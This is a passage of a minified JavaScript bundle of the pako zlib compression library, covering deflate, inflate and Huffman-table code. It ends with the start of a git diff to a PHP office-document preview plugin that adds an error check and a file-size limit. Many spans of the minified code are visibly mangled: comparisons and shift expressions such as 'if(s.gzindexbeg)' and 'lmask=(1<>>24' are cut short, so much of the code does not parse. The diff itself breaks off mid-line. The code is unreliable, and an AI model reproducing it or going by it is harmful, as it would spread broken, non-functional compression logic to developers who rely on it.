+strm.avail_out===0?Z_BUF_ERROR:Z_STREAM_ERROR);s.strm=strm;old_flush=s.last_flush;s.last_flush=flush;if(s.status===INIT_STATE)if(s.wrap===2){strm.adler=0;put_byte(s,31);put_byte(s,139);put_byte(s,8);if(!s.gzhead){put_byte(s,0);put_byte(s,0);put_byte(s,0);put_byte(s,0);put_byte(s,0);put_byte(s,s.level===9?2:s.strategy>=Z_HUFFMAN_ONLY||s.level<2?4:0);put_byte(s,OS_CODE);s.status=BUSY_STATE}else{put_byte(s,(s.gzhead.text?1:0)+(s.gzhead.hcrc?2:0)+(!s.gzhead.extra?0:4)+(!s.gzhead.name?0:8)+(!s.gzhead.comment? +0:16));put_byte(s,s.gzhead.time&255);put_byte(s,s.gzhead.time>>8&255);put_byte(s,s.gzhead.time>>16&255);put_byte(s,s.gzhead.time>>24&255);put_byte(s,s.level===9?2:s.strategy>=Z_HUFFMAN_ONLY||s.level<2?4:0);put_byte(s,s.gzhead.os&255);if(s.gzhead.extra&&s.gzhead.extra.length){put_byte(s,s.gzhead.extra.length&255);put_byte(s,s.gzhead.extra.length>>8&255)}if(s.gzhead.hcrc)strm.adler=crc32(strm.adler,s.pending_buf,s.pending,0);s.gzindex=0;s.status=EXTRA_STATE}}else{var header=Z_DEFLATED+(s.w_bits-8<< +4)<<8;var level_flags=-1;if(s.strategy>=Z_HUFFMAN_ONLY||s.level<2)level_flags=0;else if(s.level<6)level_flags=1;else if(s.level===6)level_flags=2;else level_flags=3;header|=level_flags<<6;if(s.strstart!==0)header|=PRESET_DICT;header+=31-header%31;s.status=BUSY_STATE;putShortMSB(s,header);if(s.strstart!==0){putShortMSB(s,strm.adler>>>16);putShortMSB(s,strm.adler&65535)}strm.adler=1}if(s.status===EXTRA_STATE)if(s.gzhead.extra){beg=s.pending;while(s.gzindex<(s.gzhead.extra.length&65535)){if(s.pending=== +s.pending_buf_size){if(s.gzhead.hcrc&&s.pending>beg)strm.adler=crc32(strm.adler,s.pending_buf,s.pending-beg,beg);flush_pending(strm);beg=s.pending;if(s.pending===s.pending_buf_size)break}put_byte(s,s.gzhead.extra[s.gzindex]&255);s.gzindex++}if(s.gzhead.hcrc&&s.pending>beg)strm.adler=crc32(strm.adler,s.pending_buf,s.pending-beg,beg);if(s.gzindex===s.gzhead.extra.length){s.gzindex=0;s.status=NAME_STATE}}else s.status=NAME_STATE;if(s.status===NAME_STATE)if(s.gzhead.name){beg=s.pending;do{if(s.pending=== +s.pending_buf_size){if(s.gzhead.hcrc&&s.pending>beg)strm.adler=crc32(strm.adler,s.pending_buf,s.pending-beg,beg);flush_pending(strm);beg=s.pending;if(s.pending===s.pending_buf_size){val=1;break}}if(s.gzindexbeg)strm.adler=crc32(strm.adler,s.pending_buf,s.pending-beg,beg);if(val===0){s.gzindex=0;s.status=COMMENT_STATE}}else s.status=COMMENT_STATE;if(s.status===COMMENT_STATE)if(s.gzhead.comment){beg= +s.pending;do{if(s.pending===s.pending_buf_size){if(s.gzhead.hcrc&&s.pending>beg)strm.adler=crc32(strm.adler,s.pending_buf,s.pending-beg,beg);flush_pending(strm);beg=s.pending;if(s.pending===s.pending_buf_size){val=1;break}}if(s.gzindexbeg)strm.adler=crc32(strm.adler,s.pending_buf,s.pending-beg,beg);if(val===0)s.status=HCRC_STATE}else s.status=HCRC_STATE;if(s.status=== +HCRC_STATE)if(s.gzhead.hcrc){if(s.pending+2>s.pending_buf_size)flush_pending(strm);if(s.pending+2<=s.pending_buf_size){put_byte(s,strm.adler&255);put_byte(s,strm.adler>>8&255);strm.adler=0;s.status=BUSY_STATE}}else s.status=BUSY_STATE;if(s.pending!==0){flush_pending(strm);if(strm.avail_out===0){s.last_flush=-1;return Z_OK}}else if(strm.avail_in===0&&rank(flush)<=rank(old_flush)&&flush!==Z_FINISH)return err(strm,Z_BUF_ERROR);if(s.status===FINISH_STATE&&strm.avail_in!==0)return err(strm,Z_BUF_ERROR); +if(strm.avail_in!==0||s.lookahead!==0||flush!==Z_NO_FLUSH&&s.status!==FINISH_STATE){var bstate=s.strategy===Z_HUFFMAN_ONLY?deflate_huff(s,flush):s.strategy===Z_RLE?deflate_rle(s,flush):configuration_table[s.level].func(s,flush);if(bstate===BS_FINISH_STARTED||bstate===BS_FINISH_DONE)s.status=FINISH_STATE;if(bstate===BS_NEED_MORE||bstate===BS_FINISH_STARTED){if(strm.avail_out===0)s.last_flush=-1;return Z_OK}if(bstate===BS_BLOCK_DONE){if(flush===Z_PARTIAL_FLUSH)trees._tr_align(s);else if(flush!==Z_BLOCK){trees._tr_stored_block(s, +0,0,false);if(flush===Z_FULL_FLUSH){zero(s.head);if(s.lookahead===0){s.strstart=0;s.block_start=0;s.insert=0}}}flush_pending(strm);if(strm.avail_out===0){s.last_flush=-1;return Z_OK}}}if(flush!==Z_FINISH)return Z_OK;if(s.wrap<=0)return Z_STREAM_END;if(s.wrap===2){put_byte(s,strm.adler&255);put_byte(s,strm.adler>>8&255);put_byte(s,strm.adler>>16&255);put_byte(s,strm.adler>>24&255);put_byte(s,strm.total_in&255);put_byte(s,strm.total_in>>8&255);put_byte(s,strm.total_in>>16&255);put_byte(s,strm.total_in>> +24&255)}else{putShortMSB(s,strm.adler>>>16);putShortMSB(s,strm.adler&65535)}flush_pending(strm);if(s.wrap>0)s.wrap=-s.wrap;return s.pending!==0?Z_OK:Z_STREAM_END}function deflateEnd(strm){var status;if(!strm||!strm.state)return Z_STREAM_ERROR;status=strm.state.status;if(status!==INIT_STATE&&status!==EXTRA_STATE&&status!==NAME_STATE&&status!==COMMENT_STATE&&status!==HCRC_STATE&&status!==BUSY_STATE&&status!==FINISH_STATE)return err(strm,Z_STREAM_ERROR);strm.state=null;return status===BUSY_STATE?err(strm, +Z_DATA_ERROR):Z_OK}exports.deflateInit=deflateInit;exports.deflateInit2=deflateInit2;exports.deflateReset=deflateReset;exports.deflateResetKeep=deflateResetKeep;exports.deflateSetHeader=deflateSetHeader;exports.deflate=deflate;exports.deflateEnd=deflateEnd;exports.deflateInfo="pako deflate (from Nodeca project)"},{"../utils/common":27,"./adler32":29,"./crc32":31,"./messages":37,"./trees":38}],33:[function(_dereq_,module,exports){function GZheader(){this.text=0;this.time=0;this.xflags=0;this.os=0; +this.extra=null;this.extra_len=0;this.name="";this.comment="";this.hcrc=0;this.done=false}module.exports=GZheader},{}],34:[function(_dereq_,module,exports){var BAD=30;var TYPE=12;module.exports=function inflate_fast(strm,start){var state;var _in;var last;var _out;var beg;var end;var dmax;var wsize;var whave;var wnext;var window;var hold;var bits;var lcode;var dcode;var lmask;var dmask;var here;var op;var len;var dist;var from;var from_source;var input,output;state=strm.state;_in=strm.next_in;input= +strm.input;last=_in+(strm.avail_in-5);_out=strm.next_out;output=strm.output;beg=_out-(start-strm.avail_out);end=_out+(strm.avail_out-257);dmax=state.dmax;wsize=state.wsize;whave=state.whave;wnext=state.wnext;window=state.window;hold=state.hold;bits=state.bits;lcode=state.lencode;dcode=state.distcode;lmask=(1<>>24;hold>>>=op; +bits-=op;op=here>>>16&255;if(op===0)output[_out++]=here&65535;else if(op&16){len=here&65535;op&=15;if(op){if(bits>>=op;bits-=op}if(bits<15){hold+=input[_in++]<>>24;hold>>>=op;bits-=op;op=here>>>16&255;if(op&16){dist=here&65535;op&=15;if(bitsdmax){strm.msg="invalid distance too far back";state.mode=BAD;break top}hold>>>=op;bits-=op;op=_out-beg;if(dist>op){op=dist-op;if(op>whave)if(state.sane){strm.msg="invalid distance too far back";state.mode=BAD;break top}from=0;from_source=window;if(wnext===0){from+=wsize-op;if(op2){output[_out++]=from_source[from++];output[_out++]=from_source[from++];output[_out++]=from_source[from++];len-=3}if(len){output[_out++]=from_source[from++];if(len>1)output[_out++]=from_source[from++]}}else{from=_out-dist;do{output[_out++]=output[from++];output[_out++]= +output[from++];output[_out++]=output[from++];len-=3}while(len>2);if(len){output[_out++]=output[from++];if(len>1)output[_out++]=output[from++]}}}else if((op&64)===0){here=dcode[(here&65535)+(hold&(1<>3;_in-=len;bits-=len<<3;hold&=(1<>>24&255)+(q>>>8&65280)+((q&65280)<<8)+((q&255)<<24)}function InflateState(){this.mode=0;this.last=false;this.wrap=0;this.havedict=false;this.flags=0;this.dmax=0;this.check=0;this.total=0;this.head=null;this.wbits=0;this.wsize=0;this.whave=0;this.wnext=0;this.window=null;this.hold=0;this.bits=0;this.length=0;this.offset= +0;this.extra=0;this.lencode=null;this.distcode=null;this.lenbits=0;this.distbits=0;this.ncode=0;this.nlen=0;this.ndist=0;this.have=0;this.next=null;this.lens=new utils.Buf16(320);this.work=new utils.Buf16(288);this.lendyn=null;this.distdyn=null;this.sane=0;this.back=0;this.was=0}function inflateResetKeep(strm){var state;if(!strm||!strm.state)return Z_STREAM_ERROR;state=strm.state;strm.total_in=strm.total_out=state.total=0;strm.msg="";if(state.wrap)strm.adler=state.wrap&1;state.mode=HEAD;state.last= +0;state.havedict=0;state.dmax=32768;state.head=null;state.hold=0;state.bits=0;state.lencode=state.lendyn=new utils.Buf32(ENOUGH_LENS);state.distcode=state.distdyn=new utils.Buf32(ENOUGH_DISTS);state.sane=1;state.back=-1;return Z_OK}function inflateReset(strm){var state;if(!strm||!strm.state)return Z_STREAM_ERROR;state=strm.state;state.wsize=0;state.whave=0;state.wnext=0;return inflateResetKeep(strm)}function inflateReset2(strm,windowBits){var wrap;var state;if(!strm||!strm.state)return Z_STREAM_ERROR; +state=strm.state;if(windowBits<0){wrap=0;windowBits=-windowBits}else{wrap=(windowBits>>4)+1;if(windowBits<48)windowBits&=15}if(windowBits&&(windowBits<8||windowBits>15))return Z_STREAM_ERROR;if(state.window!==null&&state.wbits!==windowBits)state.window=null;state.wrap=wrap;state.wbits=windowBits;return inflateReset(strm)}function inflateInit2(strm,windowBits){var ret;var state;if(!strm)return Z_STREAM_ERROR;state=new InflateState;strm.state=state;state.window=null;ret=inflateReset2(strm,windowBits); +if(ret!==Z_OK)strm.state=null;return ret}function inflateInit(strm){return inflateInit2(strm,DEF_WBITS)}var virgin=true;var lenfix,distfix;function fixedtables(state){if(virgin){var sym;lenfix=new utils.Buf32(512);distfix=new utils.Buf32(32);sym=0;while(sym<144)state.lens[sym++]=8;while(sym<256)state.lens[sym++]=9;while(sym<280)state.lens[sym++]=7;while(sym<288)state.lens[sym++]=8;inflate_table(LENS,state.lens,0,288,lenfix,0,state.work,{bits:9});sym=0;while(sym<32)state.lens[sym++]=5;inflate_table(DISTS, +state.lens,0,32,distfix,0,state.work,{bits:5});virgin=false}state.lencode=lenfix;state.lenbits=9;state.distcode=distfix;state.distbits=5}function updatewindow(strm,src,end,copy){var dist;var state=strm.state;if(state.window===null){state.wsize=1<=state.wsize){utils.arraySet(state.window,src,end-state.wsize,state.wsize,0);state.wnext=0;state.whave=state.wsize}else{dist=state.wsize-state.wnext;if(dist>copy)dist= +copy;utils.arraySet(state.window,src,end-copy,dist,state.wnext);copy-=dist;if(copy){utils.arraySet(state.window,src,end-copy,copy,0);state.wnext=copy;state.whave=state.wsize}else{state.wnext+=dist;if(state.wnext===state.wsize)state.wnext=0;if(state.whave>>8&255;state.check=crc32(state.check,hbuf,2,0);hold=0;bits=0;state.mode=FLAGS;break}state.flags=0;if(state.head)state.head.done=false;if(!(state.wrap&1)||(((hold&255)<<8)+(hold>>8))%31){strm.msg="incorrect header check";state.mode=BAD;break}if((hold&15)!==Z_DEFLATED){strm.msg="unknown compression method";state.mode= +BAD;break}hold>>>=4;bits-=4;len=(hold&15)+8;if(state.wbits===0)state.wbits=len;else if(len>state.wbits){strm.msg="invalid window size";state.mode=BAD;break}state.dmax=1<>8&1;if(state.flags&512){hbuf[0]=hold&255;hbuf[1]=hold>>>8&255;state.check=crc32(state.check,hbuf,2,0)}hold=0;bits=0;state.mode=TIME;case TIME:while(bits<32){if(have===0)break inf_leave;have--;hold+=input[next++]<>>8&255;hbuf[2]=hold>>>16&255;hbuf[3]=hold>>>24&255;state.check=crc32(state.check,hbuf,4,0)}hold=0;bits=0;state.mode=OS;case OS:while(bits< +16){if(have===0)break inf_leave;have--;hold+=input[next++]<>8}if(state.flags&512){hbuf[0]=hold&255;hbuf[1]=hold>>>8&255;state.check=crc32(state.check,hbuf,2,0)}hold=0;bits=0;state.mode=EXLEN;case EXLEN:if(state.flags&1024){while(bits<16){if(have===0)break inf_leave;have--;hold+=input[next++]<>>8&255;state.check= +crc32(state.check,hbuf,2,0)}hold=0;bits=0}else if(state.head)state.head.extra=null;state.mode=EXTRA;case EXTRA:if(state.flags&1024){copy=state.length;if(copy>have)copy=have;if(copy){if(state.head){len=state.head.extra_len-state.length;if(!state.head.extra)state.head.extra=new Array(state.head.extra_len);utils.arraySet(state.head.extra,input,next,copy,len)}if(state.flags&512)state.check=crc32(state.check,input,copy,next);have-=copy;next+=copy;state.length-=copy}if(state.length)break inf_leave}state.length= +0;state.mode=NAME;case NAME:if(state.flags&2048){if(have===0)break inf_leave;copy=0;do{len=input[next+copy++];if(state.head&&len&&state.length<65536)state.head.name+=String.fromCharCode(len)}while(len&©>9&1;state.head.done=true}strm.adler=state.check=0;state.mode=TYPE;break;case DICTID:while(bits<32){if(have===0)break inf_leave;have--;hold+=input[next++]<>>=bits&7;bits-=bits&7;state.mode=CHECK;break}while(bits<3){if(have===0)break inf_leave;have--;hold+=input[next++]<>>=1;bits-=1;switch(hold&3){case 0:state.mode=STORED;break;case 1:fixedtables(state);state.mode=LEN_;if(flush===Z_TREES){hold>>>=2;bits-=2;break inf_leave}break;case 2:state.mode=TABLE;break;case 3:strm.msg="invalid block type";state.mode=BAD}hold>>>=2;bits-=2;break;case STORED:hold>>>=bits&7;bits-=bits&7;while(bits< +32){if(have===0)break inf_leave;have--;hold+=input[next++]<>>16^65535)){strm.msg="invalid stored block lengths";state.mode=BAD;break}state.length=hold&65535;hold=0;bits=0;state.mode=COPY_;if(flush===Z_TREES)break inf_leave;case COPY_:state.mode=COPY;case COPY:copy=state.length;if(copy){if(copy>have)copy=have;if(copy>left)copy=left;if(copy===0)break inf_leave;utils.arraySet(output,input,next,copy,put);have-=copy;next+=copy;left-=copy;put+=copy;state.length-=copy; +break}state.mode=TYPE;break;case TABLE:while(bits<14){if(have===0)break inf_leave;have--;hold+=input[next++]<>>=5;bits-=5;state.ndist=(hold&31)+1;hold>>>=5;bits-=5;state.ncode=(hold&15)+4;hold>>>=4;bits-=4;if(state.nlen>286||state.ndist>30){strm.msg="too many length or distance symbols";state.mode=BAD;break}state.have=0;state.mode=LENLENS;case LENLENS:while(state.have>>=3;bits-=3}while(state.have<19)state.lens[order[state.have++]]=0;state.lencode=state.lendyn;state.lenbits=7;opts={bits:state.lenbits};ret=inflate_table(CODES,state.lens,0,19,state.lencode,0,state.work,opts);state.lenbits=opts.bits;if(ret){strm.msg="invalid code lengths set";state.mode=BAD;break}state.have=0;state.mode=CODELENS;case CODELENS:while(state.have>>24;here_op=here>>>16&255;here_val=here&65535;if(here_bits<=bits)break;if(have===0)break inf_leave;have--;hold+=input[next++]<>>=here_bits;bits-=here_bits;state.lens[state.have++]=here_val}else{if(here_val===16){n=here_bits+2;while(bits>>=here_bits;bits-=here_bits;if(state.have===0){strm.msg="invalid bit length repeat";state.mode=BAD;break}len=state.lens[state.have-1];copy=3+(hold& +3);hold>>>=2;bits-=2}else if(here_val===17){n=here_bits+3;while(bits>>=here_bits;bits-=here_bits;len=0;copy=3+(hold&7);hold>>>=3;bits-=3}else{n=here_bits+7;while(bits>>=here_bits;bits-=here_bits;len=0;copy=11+(hold&127);hold>>>=7;bits-=7}if(state.have+copy>state.nlen+state.ndist){strm.msg="invalid bit length repeat";state.mode=BAD;break}while(copy--)state.lens[state.have++]= +len}}if(state.mode===BAD)break;if(state.lens[256]===0){strm.msg="invalid code -- missing end-of-block";state.mode=BAD;break}state.lenbits=9;opts={bits:state.lenbits};ret=inflate_table(LENS,state.lens,0,state.nlen,state.lencode,0,state.work,opts);state.lenbits=opts.bits;if(ret){strm.msg="invalid literal/lengths set";state.mode=BAD;break}state.distbits=6;state.distcode=state.distdyn;opts={bits:state.distbits};ret=inflate_table(DISTS,state.lens,state.nlen,state.ndist,state.distcode,0,state.work,opts); +state.distbits=opts.bits;if(ret){strm.msg="invalid distances set";state.mode=BAD;break}state.mode=LEN_;if(flush===Z_TREES)break inf_leave;case LEN_:state.mode=LEN;case LEN:if(have>=6&&left>=258){strm.next_out=put;strm.avail_out=left;strm.next_in=next;strm.avail_in=have;state.hold=hold;state.bits=bits;inflate_fast(strm,_out);put=strm.next_out;output=strm.output;left=strm.avail_out;next=strm.next_in;input=strm.input;have=strm.avail_in;hold=state.hold;bits=state.bits;if(state.mode===TYPE)state.back= +-1;break}state.back=0;for(;;){here=state.lencode[hold&(1<>>24;here_op=here>>>16&255;here_val=here&65535;if(here_bits<=bits)break;if(have===0)break inf_leave;have--;hold+=input[next++]<>last_bits)];here_bits=here>>>24;here_op=here>>>16&255;here_val=here&65535;if(last_bits+here_bits<=bits)break;if(have=== +0)break inf_leave;have--;hold+=input[next++]<>>=last_bits;bits-=last_bits;state.back+=last_bits}hold>>>=here_bits;bits-=here_bits;state.back+=here_bits;state.length=here_val;if(here_op===0){state.mode=LIT;break}if(here_op&32){state.back=-1;state.mode=TYPE;break}if(here_op&64){strm.msg="invalid literal/length code";state.mode=BAD;break}state.extra=here_op&15;state.mode=LENEXT;case LENEXT:if(state.extra){n=state.extra;while(bits>>=state.extra;bits-=state.extra;state.back+=state.extra}state.was=state.length;state.mode=DIST;case DIST:for(;;){here=state.distcode[hold&(1<>>24;here_op=here>>>16&255;here_val=here&65535;if(here_bits<=bits)break;if(have===0)break inf_leave;have--;hold+=input[next++]<>last_bits)];here_bits=here>>>24;here_op=here>>>16&255;here_val=here&65535;if(last_bits+here_bits<=bits)break;if(have===0)break inf_leave;have--;hold+=input[next++]<>>=last_bits;bits-=last_bits;state.back+=last_bits}hold>>>=here_bits;bits-=here_bits;state.back+=here_bits;if(here_op&64){strm.msg="invalid distance code";state.mode=BAD;break}state.offset=here_val;state.extra=here_op&15;state.mode=DISTEXT;case DISTEXT:if(state.extra){n=state.extra;while(bits>>=state.extra;bits-=state.extra;state.back+=state.extra}if(state.offset>state.dmax){strm.msg="invalid distance too far back";state.mode=BAD;break}state.mode=MATCH;case MATCH:if(left===0)break inf_leave;copy=_out-left;if(state.offset>copy){copy=state.offset-copy;if(copy>state.whave)if(state.sane){strm.msg="invalid distance too far back";state.mode=BAD;break}if(copy>state.wnext){copy-=state.wnext; +from=state.wsize-copy}else from=state.wnext-copy;if(copy>state.length)copy=state.length;from_source=state.window}else{from_source=output;from=put-state.offset;copy=state.length}if(copy>left)copy=left;left-=copy;state.length-=copy;do output[put++]=from_source[from++];while(--copy);if(state.length===0)state.mode=LEN;break;case LIT:if(left===0)break inf_leave;output[put++]=state.length;left--;state.mode=LEN;break;case CHECK:if(state.wrap){while(bits<32){if(have===0)break inf_leave;have--;hold|=input[next++]<< +bits;bits+=8}_out-=left;strm.total_out+=_out;state.total+=_out;if(_out)strm.adler=state.check=state.flags?crc32(state.check,output,_out,put-_out):adler32(state.check,output,_out,put-_out);_out=left;if((state.flags?hold:ZSWAP32(hold))!==state.check){strm.msg="incorrect data check";state.mode=BAD;break}hold=0;bits=0}state.mode=LENGTH;case LENGTH:if(state.wrap&&state.flags){while(bits<32){if(have===0)break inf_leave;have--;hold+=input[next++]<=1;max--)if(count[max]!==0)break;if(root>max)root=max;if(max===0){table[table_index++]=1<<24|64<<16|0;table[table_index++]= +1<<24|64<<16|0;opts.bits=1;return 0}for(min=1;min0&&(type===CODES||max!==1))return-1;offs[1]=0;for(len=1;lenENOUGH_LENS||type===DISTS&&used>ENOUGH_DISTS)return 1;var i=0;for(;;){i++;here_bits=len-drop;if(work[sym]end){here_op=extra[extra_index+work[sym]];here_val=base[base_index+work[sym]]}else{here_op=32+64;here_val=0}incr=1<>drop)+fill]= +here_bits<<24|here_op<<16|here_val|0}while(fill!==0);incr=1<>=1;if(incr!==0){huff&=incr-1;huff+=incr}else huff=0;sym++;if(--count[len]===0){if(len===max)break;len=lens[lens_index+work[sym]]}if(len>root&&(huff&mask)!==low){if(drop===0)drop=root;next+=min;curr=len-drop;left=1<ENOUGH_LENS||type===DISTS&&used>ENOUGH_DISTS)return 1;low=huff&mask;table[low]=root<< +24|curr<<16|next-table_index|0}}if(huff!==0)table[next+huff]=len-drop<<24|64<<16|0;opts.bits=root;return 0}},{"../utils/common":27}],37:[function(_dereq_,module,exports){module.exports={2:"need dictionary",1:"stream end",0:"","-1":"file error","-2":"stream error","-3":"data error","-4":"insufficient memory","-5":"buffer error","-6":"incompatible version"}},{}],38:[function(_dereq_,module,exports){var utils=_dereq_("../utils/common");var Z_FIXED=4;var Z_BINARY=0;var Z_TEXT=1;var Z_UNKNOWN=2;function zero(buf){var len= +buf.length;while(--len>=0)buf[len]=0}var STORED_BLOCK=0;var STATIC_TREES=1;var DYN_TREES=2;var MIN_MATCH=3;var MAX_MATCH=258;var LENGTH_CODES=29;var LITERALS=256;var L_CODES=LITERALS+1+LENGTH_CODES;var D_CODES=30;var BL_CODES=19;var HEAP_SIZE=2*L_CODES+1;var MAX_BITS=15;var Buf_size=16;var MAX_BL_BITS=7;var END_BLOCK=256;var REP_3_6=16;var REPZ_3_10=17;var REPZ_11_138=18;var extra_lbits=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0];var extra_dbits=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7, +7,8,8,9,9,10,10,11,11,12,12,13,13];var extra_blbits=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7];var bl_order=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];var DIST_CODE_LEN=512;var static_ltree=new Array((L_CODES+2)*2);zero(static_ltree);var static_dtree=new Array(D_CODES*2);zero(static_dtree);var _dist_code=new Array(DIST_CODE_LEN);zero(_dist_code);var _length_code=new Array(MAX_MATCH-MIN_MATCH+1);zero(_length_code);var base_length=new Array(LENGTH_CODES);zero(base_length);var base_dist=new Array(D_CODES); +zero(base_dist);var StaticTreeDesc=function(static_tree,extra_bits,extra_base,elems,max_length){this.static_tree=static_tree;this.extra_bits=extra_bits;this.extra_base=extra_base;this.elems=elems;this.max_length=max_length;this.has_stree=static_tree&&static_tree.length};var static_l_desc;var static_d_desc;var static_bl_desc;var TreeDesc=function(dyn_tree,stat_desc){this.dyn_tree=dyn_tree;this.max_code=0;this.stat_desc=stat_desc};function d_code(dist){return dist<256?_dist_code[dist]:_dist_code[256+ +(dist>>>7)]}function put_short(s,w){s.pending_buf[s.pending++]=w&255;s.pending_buf[s.pending++]=w>>>8&255}function send_bits(s,value,length){if(s.bi_valid>Buf_size-length){s.bi_buf|=value<>Buf_size-s.bi_valid;s.bi_valid+=length-Buf_size}else{s.bi_buf|=value<>>=1;res<<=1}while(--len>0); +return res>>>1}function bi_flush(s){if(s.bi_valid===16){put_short(s,s.bi_buf);s.bi_buf=0;s.bi_valid=0}else if(s.bi_valid>=8){s.pending_buf[s.pending++]=s.bi_buf&255;s.bi_buf>>=8;s.bi_valid-=8}}function gen_bitlen(s,desc){var tree=desc.dyn_tree;var max_code=desc.max_code;var stree=desc.stat_desc.static_tree;var has_stree=desc.stat_desc.has_stree;var extra=desc.stat_desc.extra_bits;var base=desc.stat_desc.extra_base;var max_length=desc.stat_desc.max_length;var h;var n,m;var bits;var xbits;var f;var overflow= +0;for(bits=0;bits<=MAX_BITS;bits++)s.bl_count[bits]=0;tree[s.heap[s.heap_max]*2+1]=0;for(h=s.heap_max+1;hmax_length){bits=max_length;overflow++}tree[n*2+1]=bits;if(n>max_code)continue;s.bl_count[bits]++;xbits=0;if(n>=base)xbits=extra[n-base];f=tree[n*2];s.opt_len+=f*(bits+xbits);if(has_stree)s.static_len+=f*(stree[n*2+1]+xbits)}if(overflow===0)return;do{bits=max_length-1;while(s.bl_count[bits]===0)bits--;s.bl_count[bits]--;s.bl_count[bits+ +1]+=2;s.bl_count[max_length]--;overflow-=2}while(overflow>0);for(bits=max_length;bits!==0;bits--){n=s.bl_count[bits];while(n!==0){m=s.heap[--h];if(m>max_code)continue;if(tree[m*2+1]!==bits){s.opt_len+=(bits-tree[m*2+1])*tree[m*2];tree[m*2+1]=bits}n--}}}function gen_codes(tree,max_code,bl_count){var next_code=new Array(MAX_BITS+1);var code=0;var bits;var n;for(bits=1;bits<=MAX_BITS;bits++)next_code[bits]=code=code+bl_count[bits-1]<<1;for(n=0;n<=max_code;n++){var len=tree[n*2+1];if(len===0)continue; +tree[n*2]=bi_reverse(next_code[len]++,len)}}function tr_static_init(){var n;var bits;var length;var code;var dist;var bl_count=new Array(MAX_BITS+1);length=0;for(code=0;code>=7;for(;code8)put_short(s,s.bi_buf);else if(s.bi_valid>0)s.pending_buf[s.pending++]= +s.bi_buf;s.bi_buf=0;s.bi_valid=0}function copy_block(s,buf,len,header){bi_windup(s);if(header){put_short(s,len);put_short(s,~len)}utils.arraySet(s.pending_buf,s.window,buf,len,s.pending);s.pending+=len}function smaller(tree,n,m,depth){var _n2=n*2;var _m2=m*2;return tree[_n2]>1;n>=1;n--)pqdownheap(s,tree,n);node=elems;do{n=s.heap[1];s.heap[1]=s.heap[s.heap_len--];pqdownheap(s,tree,1);m=s.heap[1];s.heap[--s.heap_max]=n;s.heap[--s.heap_max]=m;tree[node*2]=tree[n*2]+tree[m*2];s.depth[node]=(s.depth[n]>=s.depth[m]?s.depth[n]:s.depth[m])+1;tree[n*2+1]=tree[m*2+1]=node;s.heap[1]=node++;pqdownheap(s,tree,1)}while(s.heap_len>=2);s.heap[--s.heap_max]=s.heap[1];gen_bitlen(s, +desc);gen_codes(tree,max_code,s.bl_count)}function scan_tree(s,tree,max_code){var n;var prevlen=-1;var curlen;var nextlen=tree[0*2+1];var count=0;var max_count=7;var min_count=4;if(nextlen===0){max_count=138;min_count=3}tree[(max_code+1)*2+1]=65535;for(n=0;n<=max_code;n++){curlen=nextlen;nextlen=tree[(n+1)*2+1];if(++count=3;max_blindex--)if(s.bl_tree[bl_order[max_blindex]*2+1]!==0)break;s.opt_len+=3*(max_blindex+1)+5+5+4;return max_blindex}function send_all_trees(s,lcodes,dcodes,blcodes){var rank;send_bits(s,lcodes-257,5);send_bits(s,dcodes-1,5);send_bits(s,blcodes-4,4);for(rank=0;rank>>=1)if(black_mask&1&&s.dyn_ltree[n*2]!==0)return Z_BINARY;if(s.dyn_ltree[9*2]!==0||s.dyn_ltree[10*2]!==0||s.dyn_ltree[13*2]!==0)return Z_TEXT;for(n=32;n0){if(s.strm.data_type===Z_UNKNOWN)s.strm.data_type= +detect_data_type(s);build_tree(s,s.l_desc);build_tree(s,s.d_desc);max_blindex=build_bl_tree(s);opt_lenb=s.opt_len+3+7>>>3;static_lenb=s.static_len+3+7>>>3;if(static_lenb<=opt_lenb)opt_lenb=static_lenb}else opt_lenb=static_lenb=stored_len+5;if(stored_len+4<=opt_lenb&&buf!==-1)_tr_stored_block(s,buf,stored_len,last);else if(s.strategy===Z_FIXED||static_lenb===opt_lenb){send_bits(s,(STATIC_TREES<<1)+(last?1:0),3);compress_block(s,static_ltree,static_dtree)}else{send_bits(s,(DYN_TREES<<1)+(last?1:0), +3);send_all_trees(s,s.l_desc.max_code+1,s.d_desc.max_code+1,max_blindex+1);compress_block(s,s.dyn_ltree,s.dyn_dtree)}init_block(s);if(last)bi_windup(s)}function _tr_tally(s,dist,lc){s.pending_buf[s.d_buf+s.last_lit*2]=dist>>>8&255;s.pending_buf[s.d_buf+s.last_lit*2+1]=dist&255;s.pending_buf[s.l_buf+s.last_lit]=lc&255;s.last_lit++;if(dist===0)s.dyn_ltree[lc*2]++;else{s.matches++;dist--;s.dyn_ltree[(_length_code[lc]+LITERALS+1)*2]++;s.dyn_dtree[d_code(dist)*2]++}return s.last_lit===s.lit_bufsize-1} +exports._tr_init=_tr_init;exports._tr_stored_block=_tr_stored_block;exports._tr_flush_block=_tr_flush_block;exports._tr_tally=_tr_tally;exports._tr_align=_tr_align},{"../utils/common":27}],39:[function(_dereq_,module,exports){function ZStream(){this.input=null;this.next_in=0;this.avail_in=0;this.total_in=0;this.output=null;this.next_out=0;this.avail_out=0;this.total_out=0;this.msg="";this.state=null;this.data_type=2;this.adler=0}module.exports=ZStream},{}]},{},[9])(9)}); diff --git a/plugins/yzOffice/app.php b/plugins/yzOffice/app.php index 469ffa0..010bc9d 100755 --- a/plugins/yzOffice/app.php +++ b/plugins/yzOffice/app.php @@ -1,5 +1,10 @@ task['steps'][count($app->task['steps']) - 1]['result']; + if( !is_array($result['data']) ){ + $app->clearChche(); + show_tips($result); + } $html = $result['data'][0]; $pageFile = $app->cachePath.md5($html).'.'.get_path_ext($html); if(!file_exists($pageFile)){ @@ -50,8 +59,9 @@ class yzOfficePlugin extends PluginBase{ //替换内容 $config = $this->getConfig(); $pagePath = get_path_father($html); - $pageID = rtrim(get_path_this($html),'.html').'.files/'; - $urlTo = $pagePath.$pageID; + $pageID = rtrim(get_path_this($html),'.html').'.files'; + $urlTo = $pagePath.'/'.$pageID.'/'; + //show_json(array($pageID,$pagePath,$urlTo),false); if($config['cacheFile']){ //始终使用缓存 $urlTo = $this->pluginApi.'getFile&path='.rawurlencode($this->in['path']).'&file='.rawurlencode($urlTo); } @@ -74,10 +84,17 @@ class yzOfficePlugin extends PluginBase{ } private function getObj(){ $path = $this->filePath($this->in['path']); + if(filesize($path) > 1024*1024*2){ + //show_tips("由于永中官方接口限制,
